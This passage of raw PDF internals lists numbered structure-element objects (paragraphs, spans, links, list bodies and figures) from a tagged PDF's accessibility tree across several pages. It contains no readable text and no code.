[41] +/P 4568 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1499 0 obj +<< +/K [42] +/P 4569 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1500 0 obj +<< +/K [43] +/P 4570 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1501 0 obj +<< +/K [44] +/P 4571 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1502 0 obj +<< +/K [45] +/P 4572 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1503 0 obj +<< +/K [46] +/P 4573 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1504 0 obj +<< +/K [47] +/P 4574 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1505 0 obj +<< +/K [48] +/P 4575 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1506 0 obj +<< +/K [49] +/P 4576 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1507 0 obj +<< +/K [50] +/P 4577 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1508 0 obj +<< +/K [51] +/P 4578 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1509 0 obj +<< +/K [52] +/P 4579 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1510 0 obj +<< +/K [53] +/P 4580 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1511 0 obj +<< +/K [54] +/P 4581 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1512 0 obj +<< +/K [55] +/P 4582 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1513 0 obj +<< +/K [56 57] +/P 4583 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1514 0 obj +<< +/K [58] +/P 4584 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1515 0 obj +<< +/K [59] +/P 4585 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1516 0 obj +<< +/K [60] +/P 4586 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1517 0 obj +<< +/K [61] +/P 4587 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1518 0 obj +<< +/K [62] +/P 4588 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1519 0 obj +<< +/K [63] +/P 4589 0 R +/Pg 15 0 R +/S /P +/Type /StructElem +>> +endobj +1520 0 obj +<< +/K [4590 0 R 4591 0 R 1477 0 R] +/P 560 0 R +/Pg 15 0 R +/S /Link +/Type /StructElem +>> +endobj +1521 0 obj +<< +/K [4592 0 R 1480 0 R] +/P 565 0 R +/Pg 15 0 R +/S /Link +/Type /StructElem +>> +endobj +1522 0 obj +<< +/K [4593 0 R 1482 0 R] +/P 565 0 R +/Pg 15 0 R +/S /Link +/Type /StructElem +>> +endobj +1523 0 obj +<< +/K [0 1] +/P 4594 0 R +/Pg 16 0 R +/S /P +/Type /StructElem +>> +endobj +1524 0 obj +<< +/K [2 3] +/P 4595 0 R +/Pg 16 0 R +/S /P +/Type /StructElem +>> +endobj +1525 0 obj +<< +/K [4] +/P 4596 0 R +/Pg 16 0 R +/S /P +/Type /StructElem +>> +endobj +1526 0 obj +<< +/K 5 +/P 1541 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1527 0 obj +<< +/K 6 +/P 4597 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1528 0 obj +<< +/K [7] +/P 4598 0 R +/Pg 16 0 R +/S /P +/Type /StructElem +>> +endobj +1529 0 obj +<< +/K 8 +/P 1542 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1530 0 obj +<< +/K 9 +/P 4599 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1531 0 obj +<< +/K 10 +/P 1543 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1532 0 obj +<< +/K 11 +/P 4599 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1533 0 obj +<< +/K 12 +/P 1544 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1534 0 obj +<< +/K 13 +/P 4599 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1535 0 obj +<< +/K [14] +/P 4600 0 R +/Pg 16 0 R +/S /P +/Type /StructElem +>> +endobj +1536 0 obj +<< +/K 15 +/P 1545 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1537 0 obj +<< +/K 16 +/P 4601 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1538 0 obj +<< +/K [17] +/P 4602 0 R +/Pg 16 0 R +/S /P +/Type /StructElem +>> +endobj +1539 0 obj +<< +/K 18 +/P 1546 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1540 0 obj +<< +/K 19 +/P 4603 0 R +/Pg 16 0 R +/S /Span +/Type /StructElem +>> +endobj +1541 0 obj +<< +/K [4604 0 R 1526 0 R] +/P 4597 0 R +/Pg 16 0 R +/S /Link +/Type /StructElem +>> +endobj +1542 0 obj +<< +/K [4605 0 R 1529 0 R] +/P 4599 0 R +/Pg 16 0 R +/S /Link +/Type /StructElem +>> +endobj +1543 0 obj +<< +/K [4606 0 R 1531 0 R] +/P 4599 0 R +/Pg 16 0 R +/S /Link +/Type /StructElem +>> +endobj +1544 0 obj +<< +/K [4607 0 R 1533 0 R] +/P 4599 0 R +/Pg 16 0 R +/S /Link +/Type /StructElem +>> +endobj +1545 0 obj +<< +/K [4608 0 R 1536 0 R] +/P 4601 0 R +/Pg 16 0 R +/S /Link +/Type /StructElem +>> +endobj +1546 0 obj +<< +/K [4609 0 R 1539 0 R] +/P 4603 0 R +/Pg 16 0 R +/S /Link +/Type /StructElem +>> +endobj +1547 0 obj +<< +/K 0 +/P 574 0 R +/Pg 17 0 R +/S /Span +/Type /StructElem +>> +endobj +1548 0 obj +<< +/ActualText ( ) +/K [1] +/P 574 0 R +/Pg 17 0 R +/S /Span +/Type /StructElem +>> +endobj +1549 0 obj +<< +/K 2 +/P 574 0 R +/Pg 17 0 R +/S /Span +/Type /StructElem +>> +endobj +1550 0 obj +<< +/K [7] +/P 4192 0 R +/Pg 17 0 R +/S /LBody +/Type /StructElem +>> +endobj +1551 0 obj +<< +/K [8] +/P 4193 0 R +/Pg 17 0 R +/S /LBody +/Type /StructElem +>> +endobj +1552 0 obj +<< +/K 5 +/P 597 0 R +/Pg 18 0 R +/S /Span +/Type /StructElem +>> +endobj +1553 0 obj +<< +/K 6 +/P 1555 0 R +/Pg 18 0 R +/S /Span +/Type /StructElem +>> +endobj +1554 0 obj +<< +/K 7 +/P 597 0 R +/Pg 18 0 R +/S /Span +/Type /StructElem +>> +endobj +1555 0 obj +<< +/K [4610 0 R 1553 0 R] +/P 597 0 R +/Pg 18 0 R +/S /Link +/Type /StructElem +>> +endobj +1556 0 obj +<< +/K 13 +/P 626 0 R +/Pg 19 0 R +/S /Span +/Type /StructElem +>> +endobj +1557 0 obj +<< +/K 14 +/P 1559 0 R +/Pg 19 0 R +/S /Span +/Type /StructElem +>> +endobj +1558 0 obj +<< +/K 15 +/P 626 0 R +/Pg 19 0 R +/S /Span +/Type /StructElem +>> +endobj +1559 0 obj +<< +/K [4611 0 R 1557 0 R] +/P 626 0 R +/Pg 19 0 R +/S /Link +/Type /StructElem +>> +endobj +1560 0 obj +<< +/K 1 +/P 636 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1561 0 obj +<< +/K 2 +/P 1571 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1562 0 obj +<< +/K 3 +/P 636 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1563 0 obj +<< +/K 4 +/P 637 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1564 0 obj +<< +/K 5 +/P 1572 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1565 0 obj +<< +/K 6 +/P 637 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1566 0 obj +<< +/K 14 +/P 645 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1567 0 obj +<< +/K 15 +/P 1573 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1568 0 obj +<< +/K 16 +/P 645 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1569 0 obj +<< +/K 17 +/P 1574 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1570 0 obj +<< +/K 18 +/P 645 0 R +/Pg 20 0 R +/S /Span +/Type /StructElem +>> +endobj +1571 0 obj +<< +/K [4612 0 R 1561 0 R] +/P 636 0 R +/Pg 20 0 R +/S /Link +/Type /StructElem +>> +endobj +1572 0 obj +<< +/K [4613 0 R 1564 0 R] +/P 637 0 R +/Pg 20 0 R +/S /Link +/Type /StructElem +>> +endobj +1573 0 obj +<< +/K [4614 0 R 1567 0 R] +/P 645 0 R +/Pg 20 0 R +/S /Link +/Type /StructElem +>> +endobj +1574 0 obj +<< +/K [4615 0 R 1569 0 R] +/P 645 0 R +/Pg 20 0 R +/S /Link +/Type /StructElem +>> +endobj +1575 0 obj +<< +/K 0 +/P 651 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1576 0 obj +<< +/ActualText ( ) +/K [1] +/P 651 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1577 0 obj +<< +/K 2 +/P 651 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1578 0 obj +<< +/K [7] +/P 4195 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1579 0 obj +<< +/K [8] +/P 4196 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1580 0 obj +<< +/K [9] +/P 4197 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1581 0 obj +<< +/K 11 +/P 4616 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1582 0 obj +<< +/K 12 +/P 1614 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1583 0 obj +<< +/K 13 +/P 4616 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1584 0 obj +<< +/K 14 +/P 1615 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1585 0 obj +<< +/K 15 +/P 4616 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1586 0 obj +<< +/K [16] +/P 4200 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1587 0 obj +<< +/K [17] +/P 4201 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1588 0 obj +<< +/K [18] +/P 4202 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1589 0 obj +<< +/K [19] +/P 4203 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1590 0 obj +<< +/K [20] +/P 4204 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1591 0 obj +<< +/K [21] +/P 4205 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1592 0 obj +<< +/K 22 +/P 4617 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1593 0 obj +<< +/K 23 +/P 1616 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1594 0 obj +<< +/K 24 +/P 4617 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1595 0 obj +<< +/K 25 +/P 1617 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1596 0 obj +<< +/K 26 +/P 4617 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1597 0 obj +<< +/K 27 +/P 1618 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1598 0 obj +<< +/K 28 +/P 4617 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1599 0 obj +<< +/K 29 +/P 4618 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1600 0 obj +<< +/K 30 +/P 1619 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1601 0 obj +<< +/K 31 +/P 4618 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1602 0 obj +<< +/K 32 +/P 1620 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1603 0 obj +<< +/K 33 +/P 4618 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1604 0 obj +<< +/K 34 +/P 1621 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1605 0 obj +<< +/K 35 +/P 4618 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1606 0 obj +<< +/K 36 +/P 1622 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1607 0 obj +<< +/K 37 +/P 4618 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1608 0 obj +<< +/K [38 39 40] +/P 4208 0 R +/Pg 21 0 R +/S /LBody +/Type /StructElem +>> +endobj +1609 0 obj +<< +/K 41 +/P 4619 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1610 0 obj +<< +/K 42 +/P 1623 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1611 0 obj +<< +/K 43 +/P 4619 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1612 0 obj +<< +/K 44 +/P 1624 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1613 0 obj +<< +/K 45 +/P 4619 0 R +/Pg 21 0 R +/S /Span +/Type /StructElem +>> +endobj +1614 0 obj +<< +/K [4620 0 R 1582 0 R] +/P 4616 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1615 0 obj +<< +/K [4621 0 R 1584 0 R] +/P 4616 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1616 0 obj +<< +/K [4622 0 R 1593 0 R] +/P 4617 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1617 0 obj +<< +/K [4623 0 R 1595 0 R] +/P 4617 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1618 0 obj +<< +/K [4624 0 R 1597 0 R] +/P 4617 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1619 0 obj +<< +/K [4625 0 R 1600 0 R] +/P 4618 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1620 0 obj +<< +/K [4626 0 R 1602 0 R] +/P 4618 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1621 0 obj +<< +/K [4627 0 R 1604 0 R] +/P 4618 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1622 0 obj +<< +/K [4628 0 R 1606 0 R] +/P 4618 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1623 0 obj +<< +/K [4629 0 R 1610 0 R] +/P 4619 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1624 0 obj +<< +/K [4630 0 R 4631 0 R 1612 0 R] +/P 4619 0 R +/Pg 21 0 R +/S /Link +/Type /StructElem +>> +endobj +1625 0 obj +<< +/K 2 +/P 662 0 R +/Pg 22 0 R +/S /Span +/Type /StructElem +>> +endobj +1626 0 obj +<< +/K 3 +/P 1628 0 R +/Pg 22 0 R +/S /Span +/Type /StructElem +>> +endobj +1627 0 obj +<< +/K 4 +/P 662 0 R +/Pg 22 0 R +/S /Span +/Type /StructElem +>> +endobj +1628 0 obj +<< +/K [4632 0 R 1626 0 R] +/P 662 0 R +/Pg 22 0 R +/S /Link +/Type /StructElem +>> +endobj +1629 0 obj +<< +/K 5 +/P 684 0 R +/Pg 23 0 R +/S /Span +/Type /StructElem +>> +endobj +1630 0 obj +<< +/K 6 +/P 1632 0 R +/Pg 23 0 R +/S /Span +/Type /StructElem +>> +endobj +1631 0 obj +<< +/K 7 +/P 684 0 R +/Pg 23 0 R +/S /Span +/Type /StructElem +>> +endobj +1632 0 obj +<< +/K [4633 0 R 1630 0 R] +/P 684 0 R +/Pg 23 0 R +/S /Link +/Type /StructElem +>> +endobj +1633 0 obj +<< +/K 1 +/P 699 0 R +/Pg 24 0 R +/S /Span +/Type /StructElem +>> +endobj +1634 0 obj +<< +/K 2 +/P 1643 0 R +/Pg 24 0 R +/S /Span +/Type /StructElem +>> +endobj +1635 0 obj +<< +/K 3 +/P 699 0 R +/Pg 24 0 R +/S /Span +/Type /StructElem +>> +endobj +1636 0 obj +<< +/K [10 11] +/P 4634 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +1637 0 obj +<< +/K [12 13] +/P 4635 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +1638 0 obj +<< +/K [14] +/P 4636 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +1639 0 obj +<< +/K [15] +/P 4637 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +1640 0 obj +<< +/K [16] +/P 4637 0 R +/Pg 24 0 R +/S /P +/Type /StructElem +>> +endobj +1641 0 obj +<< +/K [17] +/P 4638 0 R +/Pg 24 0 R +/S /LBody +/Type /StructElem +>> +endobj +1642 0 obj +<< +/K [18] +/P 4639 0 R +/Pg 24 0 R +/S /LBody +/Type /StructElem +>> +endobj +1643 0 obj +<< +/K [4640 0 R 1634 0 R] +/P 699 0 R +/Pg 24 0 R +/S /Link +/Type /StructElem +>> +endobj +1644 0 obj +<< +/K [0 1] +/P 4641 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1645 0 obj +<< +/K [2 3] +/P 4642 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1646 0 obj +<< +/K [4] +/P 4643 0 R +/Pg 25 0 R +/S /LBody +/Type /StructElem +>> +endobj +1647 0 obj +<< +/K [5] +/P 4644 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1648 0 obj +<< +/K [6] +/P 4645 0 R +/Pg 25 0 R +/S /LBody +/Type /StructElem +>> +endobj +1649 0 obj +<< +/K [7] +/P 4646 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1650 0 obj +<< +/K [8] +/P 4647 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1651 0 obj +<< +/K [9] +/P 4648 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1652 0 obj +<< +/K [10] +/P 4649 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1653 0 obj +<< +/K [11] +/P 4649 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1654 0 obj +<< +/K [12] +/P 4650 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1655 0 obj +<< +/K 13 +/P 4651 0 R +/Pg 25 0 R +/S /Span +/Type /StructElem +>> +endobj +1656 0 obj +<< +/K 14 +/P 1665 0 R +/Pg 25 0 R +/S /Span +/Type /StructElem +>> +endobj +1657 0 obj +<< +/K 15 +/P 4651 0 R +/Pg 25 0 R +/S /Span +/Type /StructElem +>> +endobj +1658 0 obj +<< +/K 16 +/P 1666 0 R +/Pg 25 0 R +/S /Span +/Type /StructElem +>> +endobj +1659 0 obj +<< +/K 17 +/P 4651 0 R +/Pg 25 0 R +/S /Span +/Type /StructElem +>> +endobj +1660 0 obj +<< +/K [18] +/P 4652 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1661 0 obj +<< +/K [19] +/P 4652 0 R +/Pg 25 0 R +/S /P +/Type /StructElem +>> +endobj +1662 0 obj +<< +/K 22 +/P 711 0 R +/Pg 25 0 R +/S /Span +/Type /StructElem +>> +endobj +1663 0 obj +<< +/K 23 +/P 1667 0 R +/Pg 25 0 R +/S /Span +/Type /StructElem +>> +endobj +1664 0 obj +<< +/K 24 +/P 711 0 R +/Pg 25 0 R +/S /Span +/Type /StructElem +>> +endobj +1665 0 obj +<< +/K [4653 0 R 1656 0 R] +/P 4651 0 R +/Pg 25 0 R +/S /Link +/Type /StructElem +>> +endobj +1666 0 obj +<< +/K [4654 0 R 4655 0 R 1658 0 R] +/P 4651 0 R +/Pg 25 0 R +/S /Link +/Type /StructElem +>> +endobj +1667 0 obj +<< +/K [4656 0 R 1663 0 R] +/P 711 0 R +/Pg 25 0 R +/S /Link +/Type /StructElem +>> +endobj +1668 0 obj +<< +/K [12] +/P 714 0 R +/Pg 26 0 R +/S /Figure +/Type /StructElem +>> +endobj +1669 0 obj +<< +/K [13 14] +/P 714 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +1670 0 obj +<< +/K [15] +/P 713 0 R +/Pg 26 0 R +/S /Figure +/Type /StructElem +>> +endobj +1671 0 obj +<< +/K [16 17] +/P 713 0 R +/Pg 26 0 R +/S /P +/Type /StructElem +>> +endobj +1672 0 obj +<< +/K 3 +/P 729 0 R +/Pg 27 0 R +/S /Span +/Type /StructElem +>> +endobj +1673 0 obj +<< +/K 4 +/P 1675 0 R +/Pg 27 0 R +/S /Span +/Type /StructElem +>> +endobj +1674 0 obj +<< +/K 5 +/P 729 0 R +/Pg 27 0 R +/S /Span +/Type /StructElem +>> +endobj +1675 0 obj +<< +/K [4657 0 R 1673 0 R] +/P 729 0 R +/Pg 27 0 R +/S /Link +/Type /StructElem +>> +endobj +1676 0 obj +<< +/K [0 1] +/P 4658 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1677 0 obj +<< +/K [2 3] +/P 4659 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1678 0 obj +<< +/K [4] +/P 4660 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1679 0 obj +<< +/K [5] +/P 4661 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1680 0 obj +<< +/K [6] +/P 4661 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1681 0 obj +<< +/K [7] +/P 4662 0 R +/Pg 28 0 R +/S /LBody +/Type /StructElem +>> +endobj +1682 0 obj +<< +/K [8] +/P 4663 0 R +/Pg 28 0 R +/S /LBody +/Type /StructElem +>> +endobj +1683 0 obj +<< +/K [9] +/P 4661 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1684 0 obj +<< +/K [10] +/P 4664 0 R +/Pg 28 0 R +/S /LBody +/Type /StructElem +>> +endobj +1685 0 obj +<< +/K [11] +/P 4665 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1686 0 obj +<< +/K [12] +/P 4666 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1687 0 obj +<< +/K [13] +/P 4667 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1688 0 obj +<< +/K [14] +/P 4667 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1689 0 obj +<< +/K [15] +/P 4667 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1690 0 obj +<< +/K 16 +/P 4668 0 R +/Pg 28 0 R +/S /Span +/Type /StructElem +>> +endobj +1691 0 obj +<< +/K 17 +/P 1700 0 R +/Pg 28 0 R +/S /Span +/Type /StructElem +>> +endobj +1692 0 obj +<< +/K 18 +/P 4668 0 R +/Pg 28 0 R +/S /Span +/Type /StructElem +>> +endobj +1693 0 obj +<< +/K 19 +/P 1701 0 R +/Pg 28 0 R +/S /Span +/Type /StructElem +>> +endobj +1694 0 obj +<< +/K 20 +/P 4668 0 R +/Pg 28 0 R +/S /Span +/Type /StructElem +>> +endobj +1695 0 obj +<< +/K [21] +/P 4669 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1696 0 obj +<< +/K [22] +/P 4669 0 R +/Pg 28 0 R +/S /P +/Type /StructElem +>> +endobj +1697 0 obj +<< +/K 25 +/P 744 0 R +/Pg 28 0 R +/S /Span +/Type /StructElem +>> +endobj +1698 0 obj +<< +/K 26 +/P 1702 0 R +/Pg 28 0 R +/S /Span +/Type /StructElem +>> +endobj +1699 0 obj +<< +/K 27 +/P 744 0 R +/Pg 28 0 R +/S /Span +/Type /StructElem +>> +endobj +1700 0 obj +<< +/K [4670 0 R 1691 0 R] +/P 4668 0 R +/Pg 28 0 R +/S /Link +/Type /StructElem +>> +endobj +1701 0 obj +<< +/K [4671 0 R 4672 0 R 1693 0 R] +/P 4668 0 R +/Pg 28 0 R +/S /Link +/Type /StructElem +>> +endobj +1702 0 obj +<< +/K [4673 0 R 1698 0 R] +/P 744 0 R +/Pg 28 0 R +/S /Link +/Type /StructElem +>> +endobj +1703 0 obj +<< +/K [3 4 5] +/P 4217 0 R +/Pg 29 0 R +/S /LBody +/Type /StructElem +>> +endobj +1704 0 obj +<< +/K [6] +/P 4218 0 R +/Pg 29 0 R +/S /LBody +/Type /StructElem +>> +endobj +1705 0 obj +<< +/K 13 +/P 756 0 R +/Pg 29 0 R +/S /Span +/Type /StructElem +>> +endobj +1706 0 obj +<< +/K 14 +/P 1708 0 R +/Pg 29 0 R +/S /Span +/Type /StructElem +>> +endobj +1707 0 obj +<< +/K 15 +/P 756 0 R +/Pg 29 0 R +/S /Span +/Type /StructElem +>> +endobj +1708 0 obj +<< +/K [4674 0 R 1706 0 R] +/P 756 0 R +/Pg 29 0 R +/S /Link +/Type /StructElem +>> +endobj +1709 0 obj +<< +/K 0 +/P 769 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1710 0 obj +<< +/ActualText ( ) +/K [1] +/P 769 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1711 0 obj +<< +/K 2 +/P 769 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1712 0 obj +<< +/K 8 +/P 775 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1713 0 obj +<< +/K 9 +/P 1732 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1714 0 obj +<< +/K 10 +/P 775 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1715 0 obj +<< +/K 14 +/P 779 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1716 0 obj +<< +/K 15 +/P 1733 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1717 0 obj +<< +/K 16 +/P 779 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1718 0 obj +<< +/K 17 +/P 1734 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1719 0 obj +<< +/K 18 +/P 779 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1720 0 obj +<< +/K [19 20] +/P 4675 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1721 0 obj +<< +/K [21 22] +/P 4676 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1722 0 obj +<< +/K [23] +/P 4677 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1723 0 obj +<< +/K 24 +/P 4678 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1724 0 obj +<< +/K 25 +/P 1735 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1725 0 obj +<< +/K 26 +/P 4678 0 R +/Pg 31 0 R +/S /Span +/Type /StructElem +>> +endobj +1726 0 obj +<< +/K [27] +/P 4679 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1727 0 obj +<< +/K [28] +/P 4680 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1728 0 obj +<< +/K [29] +/P 4681 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1729 0 obj +<< +/K [30] +/P 4682 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1730 0 obj +<< +/K [31] +/P 4683 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1731 0 obj +<< +/K [32] +/P 4684 0 R +/Pg 31 0 R +/S /P +/Type /StructElem +>> +endobj +1732 0 obj +<< +/K [4685 0 R 1713 0 R] +/P 775 0 R +/Pg 31 0 R +/S /Link +/Type /StructElem +>> +endobj +1733 0 obj +<< +/K [4686 0 R 1716 0 R] +/P 779 0 R +/Pg 31 0 R +/S /Link +/Type /StructElem +>> +endobj +1734 0 obj +<< +/K [4687 0 R 4688 0 R 1718 0 R] +/P 779 0 R +/Pg 31 0 R +/S /Link +/Type /StructElem +>> +endobj +1735 0 obj +<< +/K [4689 0 R 1724 0 R] +/P 4678 0 R +/Pg 31 0 R +/S /Link +/Type /StructElem +>> +endobj +1736 0 obj +<< +/K 2 +/P 794 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1737 0 obj +<< +/K 3 +/P 794 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1738 0 obj +<< +/K 4 +/P 1776 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1739 0 obj +<< +/K 5 +/P 794 0 R +/Pg 32 0 R +/S /Span +/Type /StructElem +>> +endobj +1740 0 obj +<< 